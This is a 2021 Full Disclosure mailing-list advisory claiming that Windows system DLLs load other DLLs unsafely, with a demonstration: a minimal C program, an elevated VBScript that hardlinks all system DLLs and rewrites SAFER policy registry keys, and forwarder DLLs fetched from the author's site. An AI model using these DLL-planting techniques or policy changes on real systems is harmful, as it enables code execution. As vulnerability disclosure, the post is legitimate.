Message-ID: <29A9EBF244B2431EBDC94041AEAAEBD6@H270>
Date: Mon, 8 Mar 2021 21:00:41 +0100
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <fulldisclosure@...lists.org>
Cc: bugtraq@...urityfocus.com
Subject: [FD] Defense in depth -- the Microsoft way (part 73): ignorance (of
	security advisories) is bliss!

Hi @ll,

<https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>
(published by some "Microsoft Security Response Center") as well as
MSDN <https://msdn.microsoft.com/en-us/library/ff919712.aspx>,
TechNet <https://technet.microsoft.com/en-us/library/2269637.aspx> alias
MSKB <https://support.microsoft.com/en-us/kb/2269637>,
<https://support.microsoft.com/en-us/kb/2389418> and
<https://support.microsoft.com/en-us/kb/2533623> tell developers over
and over again how to load libraries safely.


But do Microsoft's developers care and follow suit?
NO, THEY DON'T: ignorance is bliss!

JFTR: CWE lists <https://cwe.mitre.org/data/definitions/426.html> and
      <https://cwe.mitre.org/data/definitions/427.html>, while CAPEC
      lists <https://capec.mitre.org/data/definitions/471.html>


Proof to demonstrate the vulnerability in a bunch of system DLLs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Save the following source as capec-471.c in an arbitrary, preferable
   empty directory:

--- capec-471.c ---
// Copyleft (C) 2004-2021 Stefan Kanthak, <stefan.kanthak@...go.de>

#include <windows.h>

__declspec(noreturn)
VOID WINAPI wWinMainCRTStartup(VOID)
{
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);

    if (hr == S_OK)
        hr = ShellExecuteW(NULL, NULL, L"..", NULL, NULL, SW_SHOWNORMAL);

    CoUninitialize();
    ExitProcess(hr);
}
--- EOF ---

   NOTE: the 4 functions used reside in the "known DLLs" kernel32.dll,
         ole32.dll and shell32.dll, the application and its (transitive
         closure of) load-time dependencies can therefore assumed to be
         safe.

2. Compile capec-471.c and link capec-471.exe in the native bitness of
   the installed system:

   CL.exe /Zl /W4 /Ox /GAFy /c capec-471.c
   LINK.exe /ENTRY:wWinMainCRTStartup /NODEFAULTLIB /RELEASE /SUBSYSTEM:Windows capec-471.obj kernel32.lib ole32.lib shell32.lib


Now examine the behaviour of the system DLLs loaded by this minimal
application.


Alternative A:

3.a Save the following VBScript as capec-471.vbs in the same directory:

--- capec-471.vbs ---
' Copyright (C) 2004-2021 Stefan Kanthak, <stefan.kanthak@...go.de>

Option Explicit

Const strCommandLine = "C:\Windows\System32\Cmd.exe /D /K For %? In (*.acm *.ax *.cpl *.dll *.drv *.ocx WBEM\*.dll) Do @MkLink /H
C:\Windows\Temp\%~nx? %?"
Const strCurrentDirectory = "C:\Windows\System32"

With GetObject("WinMgmts:{impersonationLevel=Impersonate, (Backup, Restore)}!\\.\Root\CIMv2")
    Dim objProcessStartup
    Set objProcessStartup = .Get("Win32_ProcessStartup").SpawnInstance_
    With objProcessStartup
    '   .CreateFlags = 8     ' Detached_Process
    '   .EnvironmentVariables = Array(...)
        .ErrorMode = 2       ' Fail_Critical_Errors
        .FillAttribute = 240 ' Black on White
        .PriorityClass = 32  ' Normal
        .ShowWindow = 1      ' SW_NORMAL
        .Title = vbNull
        .WinstationDesktop = vbNull
    '   .X = 0
        .XCountChars = 80
    '   .XSize = 640
    '   .Y = 240
        .YCountChars = 50
    '   .YSize = 480
    End With

    Dim intReturn, intProcessID
    intReturn = .Get("Win32_Process").Create(strCommandLine, strCurrentDirectory, objProcessStartup, intProcessID)
    If intReturn <> 0 Then
        WScript.Echo "Error " & intReturn
    Else
        WScript.Echo "Process " & intProcessID & " created"
    End If
End With

Const strKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\"

With WScript.CreateObject("WScript.Shell")
    .RegWrite strKey & "AuthentiCodeEnabled", 0, "REG_DWORD"
    .RegWrite strKey & "DefaultLevel", &H00040000, "REG_DWORD"
'   .RegWrite strKey & "ExecutableTypes", vbNull, "REG_MULTI_SZ"
'   .RegWrite strKey & "Levels", &H00071000, "REG_DWORD"
    .RegWrite strKey & "LogFileName", "C:\Windows\System32\LogFiles\SAFER.log", "REG_SZ"
    .RegWrite strKey & "PolicyScope", 0, "REG_DWORD"
    .RegWrite strKey & "TransparentEnabled", 2, "REG_DWORD"
End With
--- EOF ---

4.a Run the VBScript capec-471.vbs elevated: it creates hardlinks of
    all system DLLs in the current (working) directory where you built
    capec-471.exe and configures SAFER to log loading of applications
    and DLLs to "C:\Windows\System32\LogFiles\SAFER.log"

5.a Execute capec-471.exe, then run the following command lines to list
    all DLLs loaded from the "application directory" respectively from
    outside the "system directory" %SystemRoot%\System32:

    .\capec-471.exe
    FIND.exe /I "%CD%\" "C:\Windows\System32\LogFiles\SAFER.log"
    FIND.exe /I /V "%SystemRoot%\System32\" "C:\Windows\System32\LogFiles\SAFER.log"


Alternative B:

3.b Fetch <https://skanthak.homepage.t-online.de/download/FORWARDX.CAB>
    and extract all files:

    EXPAND.exe FORWARDX.CAB /F:* .

    See <https://skanthak.homepage.t-online.de/minesweeper.html> for
    build instructions and a makefile with embedded sources.

4.b Copy the 32-bit capec-471.exe into the just created subdirectory i386\,
    and the 64-bit capec-471.exe into the just created subdirectory AMD64\,
    then execute both and watch the dialog boxes displayed by the DLLs
    loaded from outside the "system directory" %SystemRoot%\System32\


Alternative C:

3.c Start PROCMON.exe, set the filters as shown in MSKB article 2389418,
    then execute capec-471.exe, and watch the failing attempts of way too
    many system DLLs to load other system DLLs from outside the "system
    directory" %SystemRoot%\System32\


JFTR: this demonstration shows (as usual) just the TINY TIP of the iceberg!


stay tuned, and far away from Microsofts vulnerable crap
Stefan Kanthak


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